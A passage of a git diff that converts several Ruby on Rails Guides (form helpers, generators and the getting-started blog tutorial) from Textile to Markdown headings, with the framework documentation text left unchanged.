The object yielded by +fields_for+ is a form builder like the one yielded by +form_for+ (in fact +form_for+ calls +fields_for+ internally).
-h4. Relying on Record Identification
+### Relying on Record Identification
The Article model is directly available to users of the application, so -- following the best practices for developing with Rails -- you should declare it *a resource*:
@@ -315,7 +318,7 @@ Rails will also automatically set the +class+ and +id+ of the form appropriately
WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, +:url+, and +:method+ explicitly.
-h5. Dealing with Namespaces
+#### Dealing with Namespaces
If you have created namespaced routes, +form_for+ has a nifty shorthand for that too. If your application has an admin namespace then
@@ -332,7 +335,7 @@ form_for [:admin, :management, @article]
For more information on Rails' routing system and the associated conventions, please see the "routing guide":routing.html.
-h4. How do forms with PATCH, PUT, or DELETE methods work?
+### How do forms with PATCH, PUT, or DELETE methods work?
The Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PATCH" and "DELETE" requests (besides "GET" and "POST"). However, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms.
@@ -356,7 +359,8 @@ output:
When parsing POSTed data, Rails will take into account the special +_method+ parameter and acts as if the HTTP method was the one specified inside it ("PATCH" in this example).
-h3. Making Select Boxes with Ease
+Making Select Boxes with Ease
+-----------------------------
Select boxes in HTML require a significant amount of markup (one +OPTION+ element for each option to choose from), therefore it makes the most sense for them to be dynamically generated.
@@ -373,7 +377,7 @@ Here is what the markup might look like:
Here you have a list of cities whose names are presented to the user. Internally the application only wants to handle their IDs so they are used as the options' value attribute. Let's see how Rails can help out here.
-h4. The Select and Option Tags
+### The Select and Option Tags
The most generic helper is +select_tag+, which -- as the name implies -- simply generates the +SELECT+ tag that encapsulates an options string:
@@ -431,7 +435,7 @@ output:
...
```
-h4. Select Boxes for Dealing with Models
+### Select Boxes for Dealing with Models
In most cases form controls will be tied to a specific database model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with models you drop the +_tag+ suffix from +select_tag+:
@@ -456,7 +460,7 @@ As with other helpers, if you were to use the +select+ helper on a form builder
WARNING: If you are using +select+ (or similar helpers such as +collection_select+, +select_tag+) to set a +belongs_to+ association you must pass the name of the foreign key (in the example above +city_id+), not the name of association itself. If you specify +city+ instead of +city_id+ Active Record will raise an error along the lines of <tt> ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) </tt> when you pass the +params+ hash to +Person.new+ or +update_attributes+. Another way of looking at this is that form helpers only edit attributes. You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly. You may wish to consider the use of +attr_protected+ and +attr_accessible+. For further details on this, see the "Ruby On Rails Security Guide":security.html#mass-assignment.
-h4. Option Tags from a Collection of Arbitrary Objects
+### Option Tags from a Collection of Arbitrary Objects
Generating options tags with +options_for_select+ requires that you create an array containing the text and value for each option. But what if you had a City model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them:
@@ -481,7 +485,7 @@ To recap, +options_from_collection_for_select+ is to +collection_select+ what +o
NOTE: Pairs passed to +options_for_select+ should have the name first and the id second, however with +options_from_collection_for_select+ the first argument is the value method and the second the text method.
-h4. Time Zone and Country Select
+### Time Zone and Country Select
To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using +collection_select+, but you can simply use the +time_zone_select+ helper that already wraps this:
@@ -493,7 +497,8 @@ There is also +time_zone_options_for_select+ helper for a more manual (therefore
Rails _used_ to have a +country_select+ helper for choosing countries, but this has been extracted to the "country_select plugin":https://github.com/chrislerum/country_select. When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from Rails).
-h3. Using Date and Time Form Helpers
+Using Date and Time Form Helpers
+--------------------------------
You can choose not to use the form helpers generating HTML5 date and time input fields and use the alternative date and time helpers. These date and time helpers differ from all the other form helpers in two important respects:
@@ -502,7 +507,7 @@ You can choose not to use the form helpers generating HTML5 date and time input
Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc.).
-h4. Barebones Helpers
+### Barebones Helpers
The +select_*+ family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example
@@ -526,7 +531,7 @@ Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, pa
The +:prefix+ option is the key used to retrieve the hash of date components from the +params+ hash. Here it was set to +start_date+, if omitted it will default to +date+.
-h4(#select-model-object-helpers). Model Object Helpers
+### Model Object Helpers
+select_date+ does not work well with forms that update or create Active Record objects as Active Record expects each element of the +params+ hash to correspond to one attribute.
The model object helpers for dates and times submit parameters with special names, when Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example:
@@ -551,7 +556,7 @@ which results in a +params+ hash like
When this is passed to +Person.new+ (or +update_attributes+), Active Record spots that these parameters should all be used to construct the +birth_date+ attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as +Date.civil+.
-h4. Common Options
+### Common Options
Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the +:start_year+ and +:end_year+ options override this. For an exhaustive list of the available options, refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html.
@@ -559,7 +564,7 @@ As a rule of thumb you should be using +date_select+ when working with model obj
NOTE: In many cases the built-in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week.
-h4. Individual Components
+### Individual Components
Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component +select_year+, +select_month+, +select_day+, +select_hour+, +select_minute+, +select_second+. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example "year" for +select_year+, "month" for +select_month+ etc.) although this can be overridden with the +:field_name+ option. The +:prefix+ option works in the same way that it does for +select_date+ and +select_time+ and has the same default value.
@@ -572,7 +577,8 @@ The first parameter specifies which value should be selected and can either be a
will produce the same output if the current year is 2009 and the value chosen by the user can be retrieved by +params[:date][:year]+.
-h3. Uploading Files
+Uploading Files
+---------------
A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the rendered form's encoding *MUST* be set to "multipart/form-data". If you use +form_for+, this is done automatically. If you use +form_tag+, you must set it yourself, as per the following example.
@@ -592,7 +598,7 @@ NOTE: Since Rails 3.1, forms rendered using +form_for+ have their encoding set t
Rails provides the usual pair of helpers: the barebones +file_field_tag+ and the model oriented +file_field+. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in +params[:picture]+ and in the second case in +params[:person][:picture]+.
-h4. What Gets Uploaded
+### What Gets Uploaded
The object in the +params+ hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an +original_filename+ attribute containing the name the file had on the user's computer and a +content_type+ attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in +#{Rails.root}/public/uploads+ under the same name as the original file (assuming the form was the one in the previous example).
@@ -609,11 +615,12 @@ Once a file has been uploaded, there are a multitude of potential tasks, ranging
NOTE: If the user has not selected a file the corresponding parameter will be an empty string.
-h4. Dealing with Ajax
+### Dealing with Ajax
Unlike other forms making an asynchronous file upload form is not as simple as providing +form_for+ with <tt>:remote => true</tt>. With an Ajax form the serialization is done by JavaScript running inside the browser and since JavaScript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission.
-h3. Customizing Form Builders
+Customizing Form Builders
+-------------------------
As mentioned previously the object yielded by +form_for+ and +fields_for+ is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way you can also subclass FormBuilder and add the helpers there. For example
@@ -651,7 +658,8 @@ The form builder used also determines what happens when you do
If +f+ is an instance of FormBuilder then this will render the +form+ partial, setting the partial's object to the form builder. If the form builder is of class LabellingFormBuilder then the +labelling_form+ partial would be rendered instead.
-h3. Understanding Parameter Naming Conventions
+Understanding Parameter Naming Conventions
+------------------------------------------
As you've seen in the previous sections, values from forms can be at the top level of the +params+ hash or nested in another hash. For example in a standard +create+
action for a Person model, +params[:person]+ would usually be a hash of all the attributes for the person to create. The +params+ hash can also contain arrays, arrays of hashes and so on.
@@ -665,7 +673,7 @@ Rack::Utils.parse_query "name=fred&phone=0123456789"
# => {"name"=>"fred", "phone"=>"0123456789"}
```
-h4. Basic Structures
+### Basic Structures
The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in +params+. For example if a form contains
@@ -703,7 +711,7 @@ Normally Rails ignores duplicate parameter names. If the parameter name contains
This would result in +params[:person][:phone_number]+ being an array.
-h4. Combining Them
+### Combining Them
We can mix and match these two concepts. For example, one element of a hash might be an array as in the previous example, or you can have an array of hashes. For example a form might let you create any number of addresses by repeating the following form fragment
@@ -719,7 +727,7 @@ There's a restriction, however, while hashes can be nested arbitrarily, only one
WARNING: Array parameters do not play well with the +check_box+ helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The +check_box+ helper fakes this by creating an auxiliary hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new array element. It is preferable to either use +check_box_tag+ or to use hashes instead of arrays.
-h4. Using Form Helpers
+### Using Form Helpers
The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as +text_field_tag+ Rails also provides higher level support. The two tools at your disposal here are the name parameter to +form_for+ and +fields_for+ and the +:index+ option that helpers take.
@@ -780,7 +788,8 @@ As a shortcut you can append [] to the name and omit the +:index+ option. This i
produces exactly the same output as the previous example.
-h3. Forms to external resources
+Forms to external resources
+---------------------------
If you need to post some data to an external resource it is still great to build your form using rails form helpers. But sometimes you need to set an +authenticity_token+ for this resource. You can do it by passing an +:authenticity_token => 'your_external_token'+ parameter to the +form_tag+ options:
@@ -814,11 +823,12 @@ Or if you don't want to render an +authenticity_token+ field:
<% end %>
```
-h3. Building Complex Forms
+Building Complex Forms
+----------------------
Many apps grow beyond simple forms editing a single object. For example when creating a Person you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary.
-h4. Configuring the Model
+### Configuring the Model
Active Record provides model level support via the +accepts_nested_attributes_for+ method:
@@ -838,7 +848,7 @@ end
This creates an +addresses_attributes=+ method on +Person+ that allows you to create, update and (optionally) destroy addresses. When using +attr_accessible+ or +attr_protected+ you must mark +addresses_attributes+ as accessible as well as the other attributes of +Person+ and +Address+ that should be mass assigned.
-h4. Building the Form
+### Building the Form
The following form allows a user to create a +Person+ and its associated addresses.
@@ -894,11 +904,11 @@ The keys of the +:addresses_attributes+ hash are unimportant, they need merely b
If the associated object is already saved, +fields_for+ autogenerates a hidden input with the +id+ of the saved record. You can disable this by passing +:include_id => false+ to +fields_for+. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an id.
-h4. The Controller
+### The Controller
You do not need to write any specific controller code to use nested attributes. Create and update records as you would with a simple form.
-h4. Removing Objects
+### Removing Objects
You can allow users to delete associated objects by passing +allow_destroy => true+ to +accepts_nested_attributes_for+
@@ -927,7 +937,7 @@ If the hash of attributes for an object contains the key +_destroy+ with a value
<% end %>
```
-h4. Preventing Empty Records
+### Preventing Empty Records
It is often useful to ignore sets of fields that the user has not filled in. You can control this by passing a +:reject_if+ proc to +accepts_nested_attributes_for+. This proc will be called with each hash of attributes submitted by the form. If the proc returns +false+ then Active Record will not build an associated object for that hash. The example below only tries to build an address if the +kind+ attribute is set.
@@ -940,6 +950,6 @@ end
As a convenience you can instead pass the symbol +:all_blank+ which will create a proc that will reject records where all the attributes are blank excluding any value for +_destroy+.
-h4. Adding Fields on the Fly
+### Adding Fields on the Fly
Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an 'Add new child' button. Rails does not provide any builtin support for this. When generating new sets of fields you must ensure the the key of the associated array is unique - the current javascript date (milliseconds after the epoch) is a common choice.
diff --git a/guides/source/generators.md b/guides/source/generators.md
index 38599c30f6..e9c1b85100 100644
--- a/guides/source/generators.md
+++ b/guides/source/generators.md
@@ -1,4 +1,5 @@
-h2. Creating and Customizing Rails Generators & Templates
+Creating and Customizing Rails Generators & Templates
+=====================================================
Rails generators are an essential tool if you plan to improve your workflow. With this guide you will learn how to create generators and customize existing ones.
@@ -12,11 +13,12 @@ In this guide you will:
* Learn how to use fallbacks to avoid overwriting a huge set of generators
* Learn how to create an application template
-endprologue.
+--------------------------------------------------------------------------------
NOTE: This guide is about generators in Rails 3, previous versions are not covered.
-h3. First Contact
+First Contact
+-------------
When you create an application using the +rails+ command, you are in fact using a Rails generator. After that, you can get a list of all available generators by just invoking +rails generate+:
@@ -32,7 +34,8 @@ You will get a list of all generators that comes with Rails. If you need a detai
$ rails generate helper --help
```
-h3. Creating Your First Generator
+Creating Your First Generator
+-----------------------------
Since Rails 3.0, generators are built on top of "Thor":https://github.com/wycats/thor. Thor provides powerful options parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named +initializer.rb+ inside +config/initializers+.
@@ -75,7 +78,8 @@ end
Now we can see the new description by invoking +--help+ on the new generator. The second way to add a description is by creating a file named +USAGE+ in the same directory as our generator. We are going to do that in the next step.
-h3. Creating Generators with Generators
+Creating Generators with Generators
+-----------------------------------
Generators themselves have a generator:
@@ -135,7 +139,8 @@ We can see that now an initializer named core_extensions was created at +config/
The methods that are available for generators are covered in the "final section":#generator-methods of this guide.
-h3. Generators Lookup
+Generators Lookup
+-----------------
When you run +rails generate initializer core_extensions+ Rails requires these files in turn until one is found:
@@ -150,7 +155,8 @@ If none is found you get an error message.
INFO: The examples above put files under the application's +lib+ because said directory belongs to +$LOAD_PATH+.
-h3. Customizing Your Workflow
+Customizing Your Workflow
+-------------------------
Rails own generators are flexible enough to let you customize scaffolding. They can be configured in +config/application.rb+, these are some defaults:
@@ -291,7 +297,8 @@ hook_for :test_framework, :as => :helper
And now you can re-run scaffold for another resource and see it generating tests as well!
-h3. Customizing Your Workflow by Changing Generators Templates
+Customizing Your Workflow by Changing Generators Templates
+----------------------------------------------------------
In the step above we simply wanted to add a line to the generated helper, without adding any extra functionality. There is a simpler way to do that, and it's by replacing the templates of already existing generators, in that case +Rails::Generators::HelperGenerator+.
@@ -316,7 +323,8 @@ end
If you generate another resource, you can see that we get exactly the same result! This is useful if you want to customize your scaffold templates and/or layout by just creating +edit.html.erb+, +index.html.erb+ and so on inside +lib/templates/erb/scaffold+.
-h3. Adding Generators Fallbacks
+Adding Generators Fallbacks
+---------------------------
One last feature about generators which is quite useful for plugin generators is fallbacks. For example, imagine that you want to add a feature on top of TestUnit like "shoulda":https://github.com/thoughtbot/shoulda does. Since TestUnit already implements all generators required by Rails and shoulda just wants to overwrite part of it, there is no need for shoulda to reimplement some generators again, it can simply tell Rails to use a +TestUnit+ generator if none was found under the +Shoulda+ namespace.
@@ -365,7 +373,8 @@ $ rails generate scaffold Comment body:text
Fallbacks allow your generators to have a single responsibility, increasing code reuse and reducing the amount of duplication.
-h3. Application Templates
+Application Templates
+---------------------
Now that you've seen how generators can be used _inside_ an application, did you know they can also be used to _generate_ applications too? This kind of generator is referred as a "template".
@@ -400,13 +409,14 @@ $ rails new thud -m https://gist.github.com/722911.txt
Whilst the final section of this guide doesn't cover how to generate the most awesome template known to man, it will take you through the methods available at your disposal so that you can develop it yourself. These same methods are also available for generators.
-h3. Generator methods
+Generator methods
+-----------------
The following are methods available for both generators and templates for Rails.
NOTE: Methods provided by Thor are not covered this guide and can be found in "Thor's documentation":http://rdoc.info/github/wycats/thor/master/Thor/Actions.html
-h4. +gem+
+### +gem+
Specifies a gem dependency of the application.
@@ -433,7 +443,7 @@ The above code will put the following line into +Gemfile+:
gem "devise", :git => "git://github.com/plataformatec/devise", :branch => "master"
```
-h4. +gem_group+
+### +gem_group+
Wraps gem entries inside a group:
@@ -443,7 +453,7 @@ gem_group :development, :test do
end
```
-h4. +add_source+
+### +add_source+
Adds a specified source to +Gemfile+:
@@ -451,7 +461,7 @@ Adds a specified source to +Gemfile+:
add_source "http://gems.github.com"
```
-h4. +inject_into_file+
+### +inject_into_file+
Injects a block of code into a defined position in your file.
@@ -462,7 +472,7 @@ RUBY
end
```
-h4. +gsub_file+
+### +gsub_file+
Replaces text inside a file.
@@ -472,7 +482,7 @@ gsub_file 'name_of_file.rb', 'method.to_be_replaced', 'method.the_replacing_code
Regular Expressions can be used to make this method more precise. You can also use append_file and prepend_file in the same way to place code at the beginning and end of a file respectively.
-h4. +application+
+### +application+
Adds a line to +config/application.rb+ directly after the application class definition.
@@ -498,7 +508,7 @@ application(nil, :env => "development") do
end
```
-h4. +git+
+### +git+
Runs the specified git command:
@@ -511,7 +521,7 @@ git :add => "onefile.rb", :rm => "badfile.cxx"
The values of the hash here being the arguments or options passed to the specific git command. As per the final example shown here, multiple git commands can be specified at a time, but the order of their running is not guaranteed to be the same as the order that they were specified in.
-h4. +vendor+
+### +vendor+
Places a file into +vendor+ which contains the specified code.
@@ -527,7 +537,7 @@ vendor("seeds.rb") do
end
```
-h4. +lib+
+### +lib+
Places a file into +lib+ which contains the specified code.
@@ -543,7 +553,7 @@ lib("super_special.rb") do
end
```
-h4. +rakefile+
+### +rakefile+
Creates a Rake file in the +lib/tasks+ directory of the application.
@@ -563,7 +573,7 @@ rakefile("test.rake") do
end
```
-h4. +initializer+
+### +initializer+
Creates an initializer in the +config/initializers+ directory of the application:
@@ -579,7 +589,7 @@ initializer("begin.rb") do
end
```
-h4. +generate+
+### +generate+
Runs the specified generator where the first argument is the generator name and the remaining arguments are passed directly to the generator.
@@ -588,7 +598,7 @@ generate("scaffold", "forums title:string description:text")
```
-h4. +rake+
+### +rake+
Runs the specified Rake task.
@@ -601,7 +611,7 @@ Available options are:
* +:env+ - Specifies the environment in which to run this rake task.
* +:sudo+ - Whether or not to run this task using +sudo+. Defaults to +false+.
-h4. +capify!+
+### +capify!+
Runs the +capify+ command from Capistrano at the root of the application which generates Capistrano configuration.
@@ -609,7 +619,7 @@ Runs the +capify+ command from Capistrano at the root of the application which g
capify!
```
-h4. +route+
+### +route+
Adds text to the +config/routes.rb+ file:
@@ -617,7 +627,7 @@ Adds text to the +config/routes.rb+ file:
route("resources :people")
```
-h4. +readme+
+### +readme+
Output the contents of a file in the template's +source_path+, usually a README.
diff --git a/guides/source/getting_started.md b/guides/source/getting_started.md
index d39263a086..654b8182a2 100644
--- a/guides/source/getting_started.md
+++ b/guides/source/getting_started.md
@@ -1,4 +1,5 @@
-h2. Getting Started with Rails
+Getting Started with Rails
+==========================
This guide covers getting up and running with Ruby on Rails. After reading it,
you should be familiar with:
@@ -8,12 +9,13 @@ you should be familiar with:
* The basic principles of MVC (Model, View Controller) and RESTful design
* How to quickly generate the starting pieces of a Rails application
-endprologue.
+--------------------------------------------------------------------------------
WARNING. This Guide is based on Rails 3.2. Some of the code shown here will not
work in earlier versions of Rails.
-h3. Guide Assumptions
+Guide Assumptions
+-----------------
This guide is designed for beginners who want to get started with a Rails
application from scratch. It does not assume that you have any prior experience
@@ -35,7 +37,8 @@ internet for learning Ruby, including:
* "Programming Ruby":http://www.ruby-doc.org/docs/ProgrammingRuby/
* "Why's (Poignant) Guide to Ruby":http://mislav.uniqpath.com/poignant-guide/
-h3. What is Rails?
+What is Rails?
+--------------
Rails is a web application development framework written in the Ruby language.
It is designed to make programming web applications easier by making assumptions
@@ -57,7 +60,8 @@ The Rails philosophy includes two major guiding principles:
* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to
do it, rather than requiring you to specify every little thing through endless configuration files.
-h3. Creating a New Rails Project
+Creating a New Rails Project
+----------------------------
The best way to use this guide is to follow each step as it happens, no code or
step needed to make this example application has been left out, so you can
@@ -71,7 +75,7 @@ make sure that you have Rails itself installed.
TIP: The examples below use # and $ to denote superuser and regular user terminal prompts respectively in a UNIX-like OS. If you are using Windows, your prompt will look something like c:\source_code>
-h4. Installing Rails
+### Installing Rails
To install Rails, use the +gem install+ command provided by RubyGems:
@@ -92,7 +96,7 @@ $ rails --version
If it says something like "Rails 3.2.3" you are ready to continue.
-h4. Creating the Blog Application
+### Creating the Blog Application
Rails comes with a number of generators that are designed to make your development life easier. One of these is the new application generator, which will provide you with the foundation of a Rails application so that you don't have to write it yourself.
@@ -135,11 +139,12 @@ application. Most of the work in this tutorial will happen in the +app/+ folder,
|tmp/|Temporary files (like cache, pid and session files)|
|vendor/|A place for all third-party code. In a typical Rails application, this includes Ruby Gems and the Rails source code (if you optionally install it into your project).|
-h3. Hello, Rails!
+Hello, Rails!
+-------------
To begin with, let's get some text up on screen quickly. To do this, you need to get your Rails application server running.
-h4. Starting up the Web Server
+### Starting up the Web Server
You actually have a functional Rails application already. To see it, you need to start a web server on your development machine. You can do this by running:
@@ -157,7 +162,7 @@ TIP: To stop the web server, hit Ctrl+C in the terminal window where it's runnin
The "Welcome Aboard" page is the _smoke test_ for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. You can also click on the _About your application’s environment_ link to see a summary of your application's environment.
-h4. Say "Hello", Rails
+### Say "Hello", Rails
To get Rails saying "Hello", you need to create at minimum a _controller_ and a _view_.
@@ -200,7 +205,7 @@ Open the +app/views/welcome/index.html.erb+ file in your text editor and edit it
<h1>Hello, Rails!</h1>
```
-h4. Setting the Application Home Page
+### Setting the Application Home Page
Now that we have made the controller and view, we need to tell Rails when we want "Hello Rails!" to show up. In our case, we want it to show up when we navigate to the root URL of our site, "http://localhost:3000":http://localhost:3000. At the moment, however, the "Welcome Aboard" smoke test is occupying that spot.
@@ -236,7 +241,8 @@ If you navigate to "http://localhost:3000":http://localhost:3000 in your browser
NOTE. For more information about routing, refer to "Rails Routing from the Outside In":routing.html.
-h3. Getting Up and Running
+Getting Up and Running
+----------------------
Now that you've seen how to create a controller, an action and a view, let's create something with a bit more substance.
@@ -248,7 +254,7 @@ In the next section, you will add the ability to create new posts in your applic
It will look a little basic for now, but that's ok. We'll look at improving the styling for it afterwards.
-h4. Laying down the ground work
+### Laying down the ground work
The first thing that you are going to need to create a new post within the application is a place to do that. A great place for that would be at +/posts/new+. If you attempt to navigate to that now -- by visiting "http://localhost:3000/posts/new":http://localhost:3000/posts/new -- Rails will give you a routing error:
@@ -326,7 +332,7 @@ Go ahead now and create a new file at +app/views/posts/new.html.erb+ and write t
When you refresh "http://localhost:3000/posts/new":http://localhost:3000/posts/new you'll now see that the page has a title. The route, controller, action and view are now working harmoniously! It's time to create the form for a new post.
-h4. The first form
+### The first form
To create a form within this template, you will use a <em>form
builder</em>. The primary form builder for Rails is provided by a helper
@@ -384,7 +390,7 @@ With the form and its associated route defined, you will be able to fill in the
You now need to create the +create+ action within the +PostsController+ for this to work.
-h4. Creating posts
+### Creating posts
To make the "Unknown action" go away, you can define a +create+ action within the +PostsController+ class in +app/controllers/posts_controller.rb+, underneath the +new+ action:
@@ -419,7 +425,7 @@ If you re-submit the form one more time you'll now no longer get the missing tem
This action is now displaying the parameters for the post that are coming in from the form. However, this isn't really all that helpful. Yes, you can see the parameters but nothing in particular is being done with them.
-h4. Creating the Post model
+### Creating the Post model
Models in Rails use a singular name, and their corresponding database tables use
a plural name. Rails provides a generator for creating models, which
@@ -446,7 +452,7 @@ model attributes, which means you don't have to declare attributes
inside Rails models, as that will be done automatically by Active
Record.
-h4. Running a Migration
+### Running a Migration
As we've just seen, +rails generate model+ created a _database
migration_ file inside the +db/migrate+ directory.
@@ -503,7 +509,7 @@ command will apply to the database defined in the +development+ section of your
environment, for instance in production, you must explicitly pass it when
invoking the command: +rake db:migrate RAILS_ENV=production+.
-h4. Saving data in the controller
+### Saving data in the controller
Back in +posts_controller+, we need to change the +create+ action
to use the new +Post+ model to save the data in the database. Open that file
@@ -529,7 +535,7 @@ which we'll define later.
TIP: As we'll see later, +@post.save+ returns a boolean indicating
wherever the model was saved or not.
-h4. Showing Posts
+### Showing Posts
If you submit the form again now, Rails will complain about not finding
the +show+ action. That's not very useful though, so let's add the
@@ -579,7 +585,7 @@ be able to create a post. Try it!
!images/getting_started/show_action_for_posts.png(Show action for posts)!
-h4. Listing all posts
+### Listing all posts
We still need a way to list all our posts, so let's do that. As usual,
we'll need a route placed into +config/routes.rb+:
@@ -618,7 +624,7 @@ And then finally a view for this action, located at +app/views/posts/index.html.
Now if you go to +http://localhost:3000/posts+ you will see a list of all the posts that you have created.
-h4. Adding links
+### Adding links
You can now create, show, and list posts. Now let's add some links to
navigate through pages.
@@ -674,7 +680,7 @@ TIP: In development mode (which is what you're working in by default), Rails
reloads your application with every browser request, so there's no need to stop
and restart the web server when a change is made.
-h4. Allowing the update of fields
+### Allowing the update of fields
The model file, +app/models/post.rb+ is about as simple as it can get:
@@ -702,7 +708,7 @@ This change will ensure that all changes made through HTML forms can edit the co
It will not be possible to define any other field value through forms. You can still define them by calling the `field=` method of course.
Accessible attributes and the mass assignment problem is covered in details in the "Security guide":security.html#mass-assignment
-h4. Adding Some Validation
+### Adding Some Validation
Rails includes methods to help you validate the data that you send to models.
Open the +app/models/post.rb+ file and edit it:
@@ -809,7 +815,7 @@ attempt to do just that on the "new post form(http://localhost:3000/posts/new)":
!images/getting_started/form_with_errors.png(Form With Errors)!
-h4. Updating Posts
+### Updating Posts
We've covered the "CR" part of CRUD. Now let's focus on the "U" part,
updating posts.
@@ -951,7 +957,7 @@ And here's how our app looks so far:
!images/getting_started/index_action_with_edit_link.png(Index action
with edit link)!
-h4. Using partials to clean up duplication in views
+### Using partials to clean up duplication in views
+partials+ are what Rails uses to remove duplication in views. Here's a
simple example:
@@ -1088,7 +1094,7 @@ you'll be able to update posts again.
NOTE: The +:as+ option is available on the +post+, +put+, +delete+ and +match+
routing methods also.
-h4. Deleting Posts
+### Deleting Posts
We're now ready to cover the "D" part of CRUD, deleting posts from the
database. Following the REST convention, we're going to add a route for
@@ -1166,7 +1172,7 @@ posts. In the next section will see how Rails can aid us when creating
REST applications, and how we can refactor our Blog app to take
advantage of it.
-h4. Going Deeper into REST
+### Going Deeper into REST
We've now covered all the CRUD actions of a REST app. We did so by
declaring separate routes with the appropriate verbs into
@@ -1219,12 +1225,13 @@ of declaring routes manually. It was only done in this guide as a learning
exercise. For more information about routing, see
"Rails Routing from the Outside In":routing.html.
-h3. Adding a Second Model
+Adding a Second Model
+---------------------
It's time to add a second model to the application. The second model will handle comments on
posts.
-h4. Generating a Model
+### Generating a Model
We're going to see the same generator that we used before when creating
the +Post+ model. This time we'll create a +Comment+ model to hold
@@ -1294,7 +1301,7 @@ run against the current database, so in this case you will just see:
== CreateComments: migrated (0.0012s) ========================================
```
-h4. Associating Models
+### Associating Models
Active Record associations let you easily declare the relationship between two
models. In the case of comments and posts, you could write out the relationships
@@ -1331,7 +1338,7 @@ the comments belonging to that post as an array using +@post.comments+.
TIP: For more information on Active Record associations, see the "Active Record
Associations":association_basics.html guide.
-h4. Adding a Route for Comments
+### Adding a Route for Comments
As with the +welcome+ controller, we will need to add a route so that Rails knows
where we would like to navigate to see +comments+. Open up the
@@ -1350,7 +1357,7 @@ comments.
TIP: For more information on routing, see the "Rails Routing from the Outside
In":routing.html guide.
-h4. Generating a Controller
+### Generating a Controller
With the model in hand, you can turn your attention to creating a matching
controller. Again, we'll use the same generator we used before:
@@ -1489,13 +1496,14 @@ right places.
!images/getting_started/post_with_comments.png(Post with Comments)!
-h3. Refactoring
+Refactoring
+-----------
Now that we have posts and comments working, take a look at the
+app/views/posts/show.html.erb+ template. It is getting long and awkward. We can
use partials to clean it up.
-h4. Rendering Partial Collections
+### Rendering Partial Collections
First, we will make a comment partial to extract showing all the comments for the
post. Create the file +app/views/comments/_comment.html.erb+ and put the
@@ -1555,7 +1563,7 @@ method iterates over the <tt>@post.comments</tt> collection, it assigns each
comment to a local variable named the same as the partial, in this case
+comment+ which is then available in the partial for us to show.
-h4. Rendering a Partial Form
+### Rendering a Partial Form
Let us also move that new comment section out to its own partial. Again, you
create a file +app/views/comments/_form.html.erb+ containing:
@@ -1604,7 +1612,8 @@ the <tt>app/views/comments</tt> directory.
The +@post+ object is available to any partials rendered in the view because we
defined it as an instance variable.
-h3. Deleting Comments
+Deleting Comments
+-----------------
Another important feature of a blog is being able to delete spam comments. To do
this, we need to implement a link of some sort in the view and a +DELETE+ action
@@ -1660,7 +1669,7 @@ within the <tt>@post.comments</tt> collection, and then remove it from the
database and send us back to the show action for the post.
-h4. Deleting Associated Objects
+### Deleting Associated Objects
If you delete a post then its associated comments will also need to be deleted.
Otherwise they would simply occupy space in the database. Rails allows you to
@@ -1675,7 +1684,8 @@ class Post < ActiveRecord::Base
end
```
-h3. Security
+Security
+--------
If you were to publish your blog online, anybody would be able to add, edit and
delete posts or delete comments.
@@ -1720,7 +1730,8 @@ Authentication challenge
!images/challenge.png(Basic HTTP Authentication Challenge)!
-h3. What's Next?
+What's Next?
+------------
Now that you've seen your first Rails application, you should feel free to
update it and experiment on your own. But you don't have to do everything
@@ -1737,7 +1748,8 @@ Rails also comes with built-in help that you can generate using the rake command
* Running +rake doc:guides+ will put a full copy of the Rails Guides in the +doc/guides+ folder of your application. Open +doc/guides/index.html+ in your web browser to explore the Guides.
* Running +rake doc:rails+ will put a full copy of the API documentation for Rails in the +doc/api+ folder of your application. Open +doc/api/index.html+ in your web browser to explore the API documentation.
-h3. Configuration Gotchas
+Configuration Gotchas
+---------------------
The easiest way to work with Rails is to store all external data as UTF-8. If
you don't, Ruby libraries and Rails will often be able to convert your native
